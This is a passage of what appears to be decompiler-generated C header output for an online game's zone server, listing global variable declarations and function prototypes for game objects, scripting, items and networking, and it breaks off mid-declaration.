PineScriptToken index_hit; extern PineScriptToken index_anywhere; extern PineScriptToken index_CostumeHeadAcc; extern PineEventScriptNode::AutoRegList GTMobRegenKeyAutoReg; extern PineEventScriptNode::AutoRegList GTRegisterNPCAutoReg; extern PineEventScriptNode::AutoRegList HasAbstateAutoReg; extern PineScriptToken index_hpfull; extern PineScriptToken index_admin; extern PineEventScriptNode::AutoRegList BroadcastCodeAutoReg; extern PineScriptToken index_dicegameend; extern PineScriptToken index_recover; extern PineScriptToken index_mobindex; extern PineScriptToken index_mobeliminate; extern PineScriptToken index_pk; extern PineEventScriptNode::AutoRegList ScinarioCodePartyAutoReg; extern PineEventScriptNode::AutoRegList ClearSaveLinktoAutoReg; extern PineScriptToken index_areaentry; extern PineScriptToken index_guildliminate; extern PineScriptToken index_playerdead; extern PineScriptToken index_CostumeBodyAcc; extern PineScriptToken index_hour; extern PineScriptToken index_Result; extern DebugLogging DeadHandleLog; // idb extern PineScriptToken index_split; extern PineScriptToken index_deadhandle; extern PineScriptToken index_logout; extern PineScriptToken index_on; extern PineScriptToken index_all; extern PineScriptToken index_targetchange; extern PineScriptToken index_ply; extern PineScriptToken index_allwithout; extern PineEventScriptNode::AutoRegList RegisterGTPortalAutoReg; extern PineScriptToken index_hplow; extern PineEventScriptNode::AutoRegList SaveLinktoAutoReg; extern PineScriptToken index_off; extern PineScriptToken index_handle; extern PineScriptToken index_millisec; extern ScriptBriefMaker scriptbriefmaker; // idb extern PineScriptToken index_minute; extern PineScriptToken index_suc; extern PineScriptToken index_arealeave; extern PineScriptToken index_playereliminate; extern PineScriptToken index_fail; extern PineScriptToken index_pickupitemindex; extern PineScriptToken index_deadindex; extern PineScriptToken index_npcclickindex; extern PineScriptToken index_npcclickhandle; extern DebugLogging ScinarioCodeLog; // idb extern PineEventScriptNode::AutoRegList NPCChatNoFacecutAutoReg; extern PineScriptToken index_observer; extern PineScriptToken index_killenemy; extern PineScriptToken index_beggar; extern PineScriptToken index_hpupper; extern PineScriptToken index_noaggro; extern PineScriptToken index_guild; extern OptionReader recallpoint; // idb extern CharModeClassifier cmc_52; extern unsigned int _S3_42; extern RuleOfEngagementHealAttack roe_alwaysHealAttack; // idb extern RulesOfEngagement roe_normalPY; // idb extern RulesOfEngagementAlwaysHit roe_cure; // idb extern RulesOfEngagementAlwaysCritical roe_alwaysCritical; // idb extern RulesOfEngagementPhisycalSkill roe_physical; // idb extern EngSklAtt engsklatt; // idb extern RulesOfEngagementNormalMA roe_normalMA; // idb extern RulesOfEngagementAlwaysHit roe_always; // idb extern RulesOfEngagementMagicalSkill roe_magical; // idb extern ScenarioBookShelf scenarioshelf; // idb extern CharModeClassifier cmc_53; extern unsigned int _S66_2; extern CharModeClassifier cmc_54; extern unsigned int _S68_1; extern ScriptInterrupt::ScriptInteruptWinGuild _Instance; extern int __S70__1__GetInstance___ScriptInterruptUnit_VScriptInteruptWinGuild_ScriptInterrupt___ScriptInterrupt__SAPAVScriptInteruptWinGuild_3_XZ_4IA; // weak extern ScriptInterrupt::ScriptInterruptRegisterManager _ins; extern int __S1__1__GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV23_XZ_4IA; // weak extern ScriptInterrupt::ScriptInterruptAdder ScriptInterrupt::testInter; // idb extern ScriptInterrupt::ScriptInterruptBase si_PlayerEliminate; // idb extern ScriptInterrupt::ScriptInterruptBase si_MobEliminate; // idb extern ScriptInterrupt::ScriptInterruptBase si_AreaEntry; // idb extern ScriptInterrupt::ScriptInterruptBase si_Admin; // idb extern ScriptInterrupt::ScriptInterruptBase si_NPCClickAny; // idb extern ScriptInterrupt::ScriptInterruptBase si_NPCClickHandle; // idb extern ScriptInterrupt::ScriptInterruptBase si_AreaLeave; // idb extern ScriptInterrupt::ScriptInterruptBase si_PickUpItemIndex; // idb extern ScriptInterrupt::ScriptInterruptBase si_HPUpper; // idb extern ScriptInterrupt::ScriptInterruptBase si_Interval; // idb extern ScriptInterrupt::ScriptInterruptBase si_HPLow; // idb extern ScriptInterrupt::ScriptInterruptBase si_GuildEliminate; // idb extern ScriptInterrupt::ScriptInterruptBase si_KillEnemy; // idb extern ScriptInterrupt::ScriptInterruptBase si_HPFull; // idb extern ScriptInterrupt::ScriptInterruptBase si_TargetChange; // idb extern ScriptInterrupt::ScriptInterruptBase si_ObjectDeadIndex; // idb extern ScriptInterrupt::ScriptInterruptBase si_TimeOut; // idb extern ScriptInterrupt::ScriptInterruptBase si_NPCClickIndex; // idb extern ScriptInterrupt::ScriptInterruptBase si_PlayerDead; // idb extern ScriptInterrupt::ScriptInterruptBase si_ObjectDeadHandle; // idb extern CharModeClassifier cmc_55; extern unsigned int _S10_11; extern _UNKNOWN ServerMenuActor::sma_Functer; // weak extern SetItemData::SetItemEffectList setitemeffectlist; // idb extern SetItemData::SetItemClassifier setitemclassifier; // idb extern SetItemData::SkillEffect setitemskilleffect; // idb extern MemoryQueue setitemskilleffectqueue; // idb extern unsigned __int8 costumweapondecreaser; // weak extern CharModeClassifier cmc_56; extern unsigned int _S4_6; extern CharModeClassifier cmc_57; extern unsigned int _S6_64; extern CharModeClassifier cmc_58; extern unsigned int _S4_7; extern CharModeClassifier cmc_59; extern unsigned int _S4_8; extern CharModeClassifier cmc_60; extern unsigned int _S4_9; extern CharModeClassifier cmc_61; extern unsigned int _S4_10; extern CharModeClassifier cmc_62; extern unsigned int _S6_65; extern CharModeClassifier cmc_63; extern unsigned int _S9_35; extern CharModeClassifier cmc_64; extern unsigned int _S11_7; extern CharModeClassifier cmc_65; extern unsigned int _S15_13; extern CharModeClassifier cmc_66; extern unsigned int _S7_1; extern CharModeClassifier cmc_67; extern unsigned int _S13_1; extern ItemRelocationManager itemrelormanager; extern CharModeClassifier cmc_68; extern unsigned int _S4_12; extern CharModeClassifier cmc_69; extern unsigned int _S4_13; extern DebugLogging ItemMSLog; // idb extern int ITableBase::ms_pkTable; // weak extern CharModeClassifier cmc_70; extern unsigned int _S4_15; extern CharModeClassifier cmc_71; extern unsigned int _S4_16; extern CharModeClassifier cmc_72; extern unsigned int _S6_66; extern CharModeClassifier cmc_73; extern unsigned int _S11_8; extern MemoryQueue queue_roar; // idb extern char delete_item_buffer[129]; extern int dword_1246EFAC; // weak extern __int16 word_1246EFB0; // weak extern int dword_1246EFB2; // weak extern int dword_1246EFB6; // weak extern __int16 word_1246EFBA; // weak extern _UNKNOWN unk_1246EFBC; // weak extern ProtocolPacket delete_item_packet; extern unsigned int _S4_17; extern _BYTE BriefInformationMob::bim_DefStateBit[56]; // idb extern struct ItemTotalInformation ShineObjectClass::ShineObject::so_CostumWeaponChargeing; // weak extern int dword_1246F07C; // weak extern int dword_1246F082; // weak extern _UNKNOWN ShineObjectClass::ShineMiniHouse::smh_StaticRollBackPos; // weak extern char byte_1246F0FC[12]; // idb extern char byte_1246F108; // weak extern char byte_1246F11D[12]; // idb extern char byte_1246F129; // weak extern int dword_1246F13E; // weak extern int dword_1246F142; // weak extern ListCheckStruct ShineObjectClass::ShineObject::so_SlantedListChecker; // idb extern struct STOPEMOTICON_DESCRIPT ShineObjectClass::ShineObject::so_defstopmotion; // weak extern char byte_1246F162; // weak extern struct ChargedEffectContainer ShineObjectClass::ShineObject::so_ChargedEffectContainerClear; // weak extern __int16 word_1246F166; // weak extern __int16 word_1246F168; // weak extern char byte_1246F16A; // weak extern char byte_1246F16E; // weak extern char byte_1246F16F; // weak extern char byte_1246F170; // weak extern char byte_1246F171; // weak extern __int16 word_1246F172; // weak extern __int16 word_1246F174; // weak extern __int16 word_1246F176; // weak extern __int16 word_1246F178; // weak extern __int16 word_1246F17A; // weak extern char byte_1246F17C; // weak extern char byte_1246F17D; // weak extern __int16 word_1246F17E; // weak extern __int16 word_1246F180; // weak extern __int16 word_1246F182; // weak extern __int16 word_1246F184; // weak extern __int16 word_1246F186; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_emptyabstate; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_deftradestr; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_deflastupgradeinfo; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_TempLocation; // weak extern _UNKNOWN unk_1246F1F0; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_DefBattleStat; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_defextdata; // weak extern _UNKNOWN ShineObjectClass::ShineMiniHouse::smh_StaticEnterPos; // weak extern char byte_1246F244[12]; // idb extern char byte_1246F250; // weak extern char byte_1246F265[12]; // idb extern char byte_1246F271; // weak extern int dword_1246F286; // weak extern int dword_1246F28A; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_StatDistStr; // weak extern _UNKNOWN ShineObjectClass::ShineMobileObject::AS::tempbit; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_MiscTableDef; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_defabstatebit; // weak extern int loop; extern NameString namestring; // idb extern ShineRTTI ShineObjectClass::ShineMagicField::m_RTTI; // idb extern ShineRTTI ShineObjectClass::ShineDoor::m_RTTI; // idb extern ClientSessionNull ShineObjectClass::ShinePlayer::sp_defaultsocket; // idb extern CharacterInventory ShineObjectClass::ShineObject::so_defiteminven; // idb extern InventoryLocking::InventoryCellLock ShineObjectClass::ShineObject::so_definvlocklist; // idb extern _UNKNOWN ShineObjectClass::ShineObject::so_defabstatelist; // weak extern SpyNet::EspionageAgent ShineObjectClass::ShineObject::so_spy; // idb extern ShineRTTI ShineObjectClass::ShineMob::m_RTTI; // idb extern _UNKNOWN ShineObjectClass::ShineObject::so_defname; // weak extern DebugLogging CoordRepairLog; // idb extern StreetBooth ShineObjectClass::ShinePlayer::BoothSell::board; // idb extern ORField ShineObjectClass::ShineMobileObject::TA::tmp; // idb extern ShineRTTI ShineObjectClass::ShineMiniHouse::m_RTTI; // idb extern CCharacterTitleZone ShineObjectClass::ShineObject::so_DefCharTitle; // idb extern ShineRTTI ShineObjectClass::ShineServant::m_RTTI; // idb extern ShineRTTI ShineObjectClass::ShineObject::m_RTTI; // idb extern ShineRTTI ShineObjectClass::ShineNPC::m_RTTI; // idb extern AllOfRangeArgument allofrangearg; // idb extern DiceTaiSai ShineObjectClass::ShineObject::so_defaultparam; // idb extern DebugLogging InvalidProtocolLog; // idb extern FILE *unk_1247FBD0; // idb extern _UNKNOWN unk_1247FD54; // weak extern ShineObjectManager shineobjmanager; // idb extern _DWORD dword_1247FEFC[2]; // idb extern List *unk_1247FF04; // idb extern _UNKNOWN unk_1247FF0C; // weak extern MemoryQueue queue_linkreserv; // idb extern DebugLogging EldLocateLog; // idb extern _UNKNOWN ShineObjectClass::ShineObject::so_defitemoperate; // weak extern PROTO_NC_CHAR_WEDDINGDATA_ACK ShineObjectClass::ShineObject::so_WeddingData; // idb extern DiceTaiSai ShineObjectClass::ShineObject::so_PacketEncrypt; // idb extern DebugLogging BroadCastLog; // idb extern _iobuf *unk_12484A60; // idb extern char unk_12484AE4[]; // idb extern _UNKNOWN unk_12484BE4; // weak extern AllOfRangeArgument ShineObjectClass::ShineObject::so_deftradebrd; // idb extern ItemLotInspector ShineObjectClass::ShineObject::so_ItemLotInspector; // idb extern ShineRTTI ShineObjectClass::ShineBandit::m_RTTI; // idb extern unsigned int _S51_4; extern char errorbuffer[64]; extern ProtocolPacket errorpacket; extern unsigned int _S82; extern int seed; extern CharModeClassifier cmc_74; extern unsigned int _S89_1; extern DebugLogging InvalidRegistLog; extern unsigned int _S96_1; extern Name3 elderine; extern unsigned int _S104_0; extern CharModeClassifier cmc_75; extern unsigned int _S87_1; extern CharModeClassifier cmc_76; extern unsigned int _S91; extern CharModeClassifier cmc_77; extern unsigned int _S5_31; extern ShineRTTI ShineObjectClass::ShineMobileObject::m_RTTI; // idb extern CharModeClassifier cmc_78; extern unsigned int _S8_15; extern ShineRTTI ShineObjectClass::ShinePlayer::m_RTTI; // idb extern DebugLogging ReinforceMoveLog; // idb extern CharModeClassifier cmc_79; extern unsigned int _S7_2; extern CharModeClassifier cmc_80; extern unsigned int _S11_9; extern CharModeClassifier cmc_81; extern unsigned int _S13_2; extern CharModeClassifier cmc_82; extern unsigned int _S17_2; extern char portal_effect_cmd_buffer[256]; extern __int16 word_12489004; // weak extern ProtocolPacket portal_effect_cmd_packet; extern unsigned int _S19_1; extern char furniture_effect_cmd_buffer[256]; extern __int16 word_12489114; // weak extern ProtocolPacket furniture_effect_cmd_packet; extern unsigned int _S21_10; extern CharModeClassifier cmc_83; extern unsigned int _S9_36; extern MemoryQueue queue_MH_InnerInfo; // idb extern CharModeClassifier cmc_84; extern unsigned int _S4_18; extern CharModeClassifier cmc_85; extern unsigned int _S6_67; extern CharModeClassifier cmc_86; extern unsigned int _S8_16; extern CharModeClassifier cmc_87; extern unsigned int _S10_12; extern CharModeClassifier cmc_88; extern unsigned int _S12_24; extern ShineRadian shineradian; // idb extern int SkillResultBuffer::bufferpoint; // weak extern SkillResultBuffer skillresultbuffer; // idb extern AxialListNearScanSkillFriend alnsf; // idb extern AxialListNearScanSkillParty alnsp; // idb extern FanFormSectorArgument ffsa; // idb extern AxialListNearScan alnse; // idb extern int dword_1248E5E8; // weak extern MemoryQueue queue_skillerase; // idb extern CharModeClassifier cmc_89; extern unsigned int _S10_13; extern CharModeClassifier cmc_90; extern unsigned int _S18_16; extern CharModeClassifier cmc_91; extern unsigned int _S35_2; extern CharModeClassifier cmc_92; extern unsigned int _S16_5; extern unsigned __int16 skillbtreeunion; // idb extern BTree skillnametree; // idb extern SkillDataBox skilldatabox; // idb extern SkillDataBox passivedatabox; // idb extern _UNKNOWN unk_1248F0AC; // weak extern _UNKNOWN unk_1248F0B4; // weak extern __int16 word_1248F0B8; // weak extern CharModeClassifier cmc_93; extern unsigned int _S8_17; extern CharModeClassifier cmc_94; extern unsigned int _S4_19; extern CharModeClassifier cmc_95; extern unsigned int _S6_68; extern CharModeClassifier cmc_96; extern unsigned int _S10_14; extern CharModeClassifier cmc_97; extern unsigned int _S12_26; extern SpamerPenaltyDataBox SpamerPenaltyData; // idb extern CharModeClassifier cmc_98; extern unsigned int _S4_20; extern CharModeClassifier unk_1248F178; extern unsigned int _S9_37; extern MemoryQueue queue_sparrowfly; // idb extern CharModeClassifier stru_1248F788; extern unsigned int _S4_21; extern CharModeClassifier stru_1248F790; extern unsigned int _S6_69; extern StringMaker::Maker maker; // idb extern CharModeClassifier stru_1248FBA4; extern unsigned int _S6_70; extern CharModeClassifier stru_1248FBAC; extern unsigned int _S8_18; extern CharModeClassifier stru_1248FBB4; extern unsigned int _S10_15; extern CharModeClassifier stru_1248FBBC; extern unsigned int _S12_27; extern CharModeClassifier stru_1248FBC4; extern unsigned int _S20_5; extern CharModeClassifier stru_1248FBCC; extern unsigned int _S4_22; extern SubAbstatePriority::PriorityBase subabpriority; // idb extern CharModeClassifier stru_1248FBD8; extern unsigned int _S4_23; extern CharModeClassifier stru_1248FBE0; extern unsigned int _S6_71; extern CharModeClassifier stru_1248FBE8; extern unsigned int _S8_19; extern CharModeClassifier stru_1248FBF0; extern unsigned int _S10_16; extern CharModeClassifier stru_1248FBF8; extern unsigned int _S12_28; extern CharModeClassifier stru_1248FC00; extern unsigned int _S4_24; extern CharModeClassifier stru_1248FC08; extern unsigned int _S6_72; extern CharModeClassifier stru_1248FC10; extern unsigned int _S8_20; extern CharModeClassifier stru_1248FC18; extern unsigned int _S3_43; extern CharModeClassifier stru_1248FC20; extern unsigned int _S3_44; extern UpgradeDataBox upgradedatabox; // idb extern UseEffect::UseItemRecallScroll ui_recallscroll; // idb extern UseEffect::UseItemBase ui_chargedbuff; // idb extern UseEffect::UseItemNoEffect ui_NoEffect; // idb extern UseEffect::UseItemItemPackage ui_itempackage; // idb extern UseEffect::UseItemNormal ui_GuildReType; // idb extern UseEffect::UseItemByTable ui_bytable; // idb extern UseEffect::UseItemNormal ui_SkillErase; // idb extern UseEffect::UseItemNormal ui_GuildReName; // idb extern UseEffect::UseItemMemoryFeather ui_MemoryFeather; // idb extern UseEffect::UseItemStatClear ui_StatClearEmpow; // idb extern UseEffect::UseItemStatClear ui_StatClearStat; // idb extern UseEffect::UseItemBase ui_chestopen; // idb extern UseEffect::UseItemActionItem ui_actionitem; // idb extern UseEffect::UseItemNormal ui_Roar; // idb extern UseEffect::UseItemNormal ui_JustRevive; // idb extern UseEffect::UseItemImmediateDivorce ui_ImmediateDivorce; // idb extern UseEffect::UsedItemEffect useditemeffect; // idb extern UseEffect::UseItemFurnitureEndureKit ui_FurnitureEndureKit; // idb extern UseEffect::UseItemNormal ui_SparrowWingStone; // idb extern UseEffect::UseItemBase ui_silverwing; // idb extern UseEffect::UseItemLicenseClear ui_LicenceClear; // idb extern UseEffect::UseItemBase ui_mysterybolt; // idb extern UseEffect::UseItemPropose ui_Propose; // idb extern UseEffect::UseItemSkillScroll ui_skillscroll; // idb extern UseEffect::UseItemAmountHP ui_amounthp; // idb extern UseEffect::UseItemBase ui_ride; // idb extern UseEffect::UseItemBase ui_minihousefurniture; // idb extern UseEffect::UseItemAmountSP ui_amountsp; // idb extern UseEffect::UseItemBase ui_minihouse; // idb extern UseEffect::UseItemBossMobDetect ui_BossMobDetect; // idb extern UseEffect::UseItemBase ui_horsefood; // idb extern UseEffect::UseItemBase ui_dummy2real; // idb extern CharModeClassifier stru_1248FE44; extern unsigned int _S4_25; extern CharModeClassifier stru_1248FE4C; extern unsigned int _S7_3; extern WeddingHall weddinghall; // idb extern ShineDateTime stru_1248FE68; // idb extern ShineDateTime Rhs; // idb extern unsigned int unk_1248FE78; // idb extern unsigned int unk_1248FE8C; // idb extern ZoneRingPacketItemBonus zonringpack_itembonus; // idb extern ZoneRingPacketFindPlayer zonringpack_findplayer; // idb extern ZoneRingPacketFindInstanceDungeon zonringpack_findinstancedungeon; // idb extern ZoneRingPacketSummonPartner zonringpack_summonpartner; // idb extern ZoneRingPacketSummonPlayer zonringpack_summonplayer; // idb extern ZoneRingPacketExpBonus zonringpack_expbonus; // idb extern ZoneRingPacketEmtpyInstanceDungeon zonringpack_emptyinstancedungeon; // idb extern ZoneRingPacketKickPlayerOut zonringpack_kickplayerout; // idb extern ZoneRingPacketFindInstanceDungeon zonringpack_refresh_weddinginfo; // idb extern ZoneRingPacketFindPlayerByNormalUser zonringpack_findplayerbynormaluser; // idb extern ZoneIPContainer zipc; // idb extern char erasefile[16384]; extern int erasenum; extern CDataReader gItemUpgrade; // idb extern CDataReader gMiniHouseDiceRate; // idb extern CWeaponTitleZone gWeaponTitle; // idb extern CDataReader gMiniHouseDiceDividind; // idb extern CDataReader gMiniHouseObjEffect; // idb extern std::_Tree,std::allocator,0> > globalset; // idb extern CGuildZone gGuild; // idb extern CCharacterTitleData gCharacterTitleData; // idb extern CQuestData gQuestData; // idb extern CDataReader gItemDismantle; // idb extern CDataReader gClassName; // idb extern DiceTaiSai gMiniHouseDiceTaiSai; // idb extern CDataReader gMiniHouseDiecGame; // idb extern CAnnounceSystem gAnnounceSystem; // idb extern DiceTaiSaiDividind gMiniHouseDiceTaiSaiDividind; // idb extern int Singleton::selfInstance; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern unsigned int _S234; extern unsigned int _S236; extern unsigned int _S238; extern unsigned int _S240; extern unsigned int _S242; extern unsigned int _S244; extern unsigned int _S246; extern unsigned int _S248; extern unsigned int _S250; extern unsigned int _S252; extern unsigned int _S254; extern unsigned int _S256; extern unsigned int _S258; extern unsigned int _S260; extern unsigned int _S262; extern unsigned int _S264; extern MobDataBox mobdatabox; // idb extern SocketBundle sock2gamelog; // idb extern EventHeartPing eventheartping; // idb extern MapDataBox mapdatabox; // idb extern ClockWatch clockwatch; // idb extern ZoneConnectSession zoneconnect; // idb extern _UNKNOWN unk_1250E81C; // weak extern _UNKNOWN unk_1250E83C; // weak extern CSocket_IOCP stru_1250E844; // idb extern SocketBundle sock2wldman; // idb extern WorldManagerSession stru_1250E924; // idb extern _UNKNOWN unk_1250ED48; // weak extern _UNKNOWN DebugMessage; // weak extern int dword_1250EE50; // weak extern char byte_1250EFD4; // weak extern DebugLogging GuildTournamentLog; // idb extern EventMobRegen eventmobregen; // idb extern DebugLineFeed deb_LF; // idb extern DebugLogging KQLogoutLog; // idb extern DebugLogging SocketMultiplicateLog; // idb extern SocketBundle sock2gameDB; // idb extern DebugLogging ChargedItemLog; // idb extern DebugLogging BalanceLog; // idb extern DebugLogging LockIndexLog; // idb extern DebugLogging InnerMiniHouseLog; // idb extern List zonevent; // idb extern ItemDataBox itemdatabox; // idb extern unsigned __int16 word_12510614[2]; // idb extern BTree stru_12510618; // idb extern BinaryDataBox stru_12510A1C; // idb extern _UNKNOWN unk_12510DB0; // weak extern _UNKNOWN unk_12510DB4; // weak extern _UNKNOWN unk_12510DB8; // weak extern unsigned __int16 chest; // idb extern _UNKNOWN unk_12510DC0; // weak extern unsigned __int16 ident; // idb extern _UNKNOWN unk_12510DC4; // weak extern _UNKNOWN unk_12510DD8; // weak extern _UNKNOWN unk_12510DDA; // weak extern _UNKNOWN unk_12510DDC; // weak extern _UNKNOWN unk_12510DE4; // weak extern unsigned __int16 word_12510DE6; // idb extern _UNKNOWN unk_12510DE8; // weak extern _UNKNOWN unk_12510DEA; // weak extern unsigned __int16 word_12510DEC; // idb extern _UNKNOWN unk_12510DF4; // weak extern DebugLogging MoreDisconnectLog; // idb extern DebugLogging ShineObjectHandleLog; // idb extern DebugLogging KQLogging; // idb extern ZoneServer zoneserver; // idb extern _UNKNOWN mobhat; // weak extern char dashtoken[20]; // idb extern std::_Tree >,std::less,std::allocator > > > triggerDic; // idb extern int dword_13ED2E20; // weak extern NPCAction::Manager conditionManager; // idb extern NPCAction::Manager actionManager; // idb extern int GTIGetRateTable::AllProbability[]; // weak extern int dword_13ED2E4C; // weak extern int dword_13ED2E50; // weak extern int dword_13ED2E54; // weak extern int dword_13ED2E58; // weak extern int dword_13ED2E5C; // weak extern std::map >,std::less,std::allocator > > > > GuildTournamentLvGapTable::sm_mapBalanceDatas; // idb extern std::_Tree,std::allocator >,1> > MysteryVaultTable::sm_ItemLists; // idb extern StaticVector pointlist; extern unsigned int _S4_26; extern std::vector > waitlist; // idb extern CharModeClassifier stru_13ED2E9C; extern unsigned int _S4_27; extern BossFieldContent::ListOfMobStateCheckAtDead BossFieldContent::g_ListOfMobStateCheckAtDead; // idb extern BossFieldContent::ServentBuffBossTable BossFieldContent::g_ServentBuffBossTable; // idb extern BossFieldContent::MobAutomaticActionList BossFieldContent::g_MobAutomaticActionList; // idb extern ShineScript shinescriptmenusting; // idb extern ShineScript shinescriptetc; // idb extern KQScriptManager kqscriptmanager; // idb extern RandomBox rndbox; // idb extern MobResistTable mobresisttable; // idb extern CWeaponTitle *weapontitle; // idb extern ItemAttributeClassContainer itmattcontainer; // idb extern int nullstr; extern unsigned __int16 serial; extern CharacterInventoryManager charinvenman; extern _UNKNOWN ItemActionItemBox::iaib_Default; // weak extern __int16 word_1465DD94; // weak extern int dword_1465DD9C; // weak extern CParty::PARTY_SLOT CParty::p_def; // idb extern char OptionReader::or_Exchange[]; // idb extern int dword_1465DE4C; // weak extern int dword_1465DE50; // weak extern int dword_1465DE54; // weak extern int dword_1465DE58; // weak extern char ORTable::ort_Index[]; // idb extern int dword_1465DE60; // weak extern int dword_1465DE64; // weak extern int dword_1465DE68; // weak extern int dword_1465DE6C; // weak extern char OptionReader::or_Brace[]; // idb extern int dword_1465DE74; // weak extern int dword_1465DE78; // weak extern int dword_1465DE7C; // weak extern int dword_1465DE80; // weak extern char OptionReader::or_Delimiter[]; // idb extern int dword_1465DE88; // weak extern int dword_1465DE8C; // weak extern int dword_1465DE90; // weak extern int dword_1465DE94; // weak extern char ORTable::ort_Dword[]; // idb extern int dword_1465DE9C; // weak extern int dword_1465DEA0; // weak extern int dword_1465DEA4; // weak extern int dword_1465DEA8; // weak extern char ORTable::ort_String[]; // idb extern int dword_1465DEB0; // weak extern int dword_1465DEB4; // weak extern int dword_1465DEB8; // weak extern int dword_1465DEBC; // weak extern char ORTable::ort_Dwrd[]; // idb extern int dword_1465DEC4; // weak extern int dword_1465DEC8; // weak extern int dword_1465DECC; // weak extern int dword_1465DED0; // weak extern char ORTable::ort_Byte[]; // idb extern int dword_1465DED8; // weak extern int dword_1465DEDC; // weak extern int dword_1465DEE0; // weak extern int dword_1465DEE4; // weak extern ORToken OptionReader::or_ColumnType; // idb extern ORToken OptionReader::or_Record; // idb extern ORToken OptionReader::or_ColumnName; // idb extern char OptionReader::or_Ignore[]; // idb extern int dword_1465DF28; // weak extern int dword_1465DF2C; // weak extern int dword_1465DF30; // weak extern int dword_1465DF34; // weak extern char ORTable::ort_Word[]; // idb extern int dword_1465DF3C; // weak extern int dword_1465DF40; // weak extern int dword_1465DF44; // weak extern int dword_1465DF48; // weak extern char OptionReader::or_End[]; // idb extern int dword_1465DF50; // weak extern int dword_1465DF54; // weak extern int dword_1465DF58; // weak extern int dword_1465DF5C; // weak extern ORToken OptionReader::or_Table; // idb extern ORToken OptionReader::or_RecordIn; // idb extern char OptionReader::or_CommentMark[]; // idb extern int dword_1465DF8C; // weak extern int dword_1465DF90; // weak extern int dword_1465DF94; // weak extern int dword_1465DF98; // weak extern int (*MiniDumper::FuncForStack)(void); // weak extern ItemOptionsData itemoptiondata; // idb extern _UNKNOWN unk_1465DFD0; // weak extern _UNKNOWN unk_1465DFDC; // weak extern RewardData rewarddata; // idb extern unsigned __int16 gDebugMessageCounter; // weak extern char ErrorMessage[1024]; extern char sCurrentDateTime[128]; extern char sCurrentDateTime_0[128]; extern char s_szBuff[2048]; extern char s_stSymbol[1024]; extern char s_szFName[2048]; extern _IMAGEHLP_LINE64 s_stLine; extern _CONTEXT s_stContext; extern _tagSTACKFRAME64 s_stFrame; extern int s_bSymEngInit; extern volatile LONG CIOBuffer::s_nCount; // idb extern volatile LONG CIOBuffer::s_nAlloc; // idb extern int g_nFreeBuffer; extern CIOBuffer::CSlot g_slotBuffer[16]; extern _UNKNOWN IOBufferList; // weak extern _UNKNOWN unk_14664C74; // weak extern _UNKNOWN CToken::m_NULLstr; // weak extern char szCTNull; extern char szCTNone[6]; extern CShnDataFileCheckSum ShnDataFile; // idb extern char ShineObjectHandleUnion::sohu_Index[]; // weak extern char NULLSTR[8]; extern std::_Init_locks initlocks; extern std::locale::_Locimp *global_locale; extern int std::locale::id::_Id_cnt; // weak extern std::locale classic_locale; extern unsigned int std::ctype::id; // idb extern bool registered; extern __int64 std::_Fpz; // weak extern std::bad_alloc nomem; extern void (__cdecl *atfuns[10])(); extern std::_Init_locks initlocks_0; extern _Init_atexit init_atexit; extern int _adjust_fdiv; // weak extern LPTOP_LEVEL_EXCEPTION_FILTER pOldExceptFilter; extern int __setlc_active; // weak extern _UNKNOWN __unguarded_readlc_active; // weak //------------------------------------------------------------------------- // Function declarations #define __thiscall __cdecl // Test compile in C mode int __thiscall Name3::operator__(Name3 *this, Name3 *nm); int __thiscall Name4::operator_(int this, int a2); int __thiscall AssertClass::operator__(AssertClass *this, int condition, const char *message, int flag); int __thiscall AssertClass::operator__(AssertClass *this, int condition, const char *message, int flag1, int flag2); char __thiscall Metronome::operator unsigned_char(Metronome *this); int __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetStrength(AbnormalStateContainer::AbstateElementInObject *this); AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *__thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetIndexArgument(AbnormalStateContainer::AbstateElementInObject *this); int __thiscall AbnormalStateContainer::AbstateListInObject::asl_GetAbstateList(void *this); unsigned __int16 __thiscall RandomBox::operator__(RandomBox *this, unsigned int limit); unsigned __int16 __thiscall RandomBox::rb_1000(RandomBox *this); unsigned int __thiscall DirectDistanceTable::ddt_Distance(DirectDistanceTable *this, int dx, int dy); int __thiscall ShineObjectClass::ShineObject::so_DistanceSquar(int this, int x, int y); int __thiscall ShineObjectClass::ShineObject::so_DistanceSquar(int this, int loc); int __thiscall ShineObjectClass::ShineObject::so_CurMapname(int this); AbnormalStateDictionary::AbState::AbStateStr *__thiscall AbnormalStateDictionary::AbState::as_FromID(AbnormalStateDictionary::AbState *this, unsigned __int16 sklid); AbnormalStateDictionary::AbState::AbStateStr *__thiscall AbnormalStateDictionary::AbState::as_FromIndex(AbnormalStateDictionary::AbState *this, AbnormalStateInfo::ABSTATEINDEX sklindex); void __thiscall AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage(AbnormalStateContainer::SubAbnormalStateCaptivate *this); int __thiscall AbnormalStateContainer::AbnormalStateElement::ase_GetActMilliSec(AbnormalStateContainer::AbnormalStateElement *this); int __thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_GetActMilliSec(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this); void __thiscall AbnormalStateContainer::AbnormalStateTickRoutine::AbnormalStateTickRoutine(AbnormalStateContainer::AbnormalStateTickRoutine *this); void __thiscall AbnormalStateContainer::AbnormalStateTickRoutine::_AbnormalStateTickRoutine(AbnormalStateContainer::AbnormalStateTickRoutine *this); char *__thiscall AbnormalStateContainer::AbnormalStateElementNormal::ase_IndexString(AbnormalStateContainer::AbnormalStateElementNormal *this); char *__thiscall 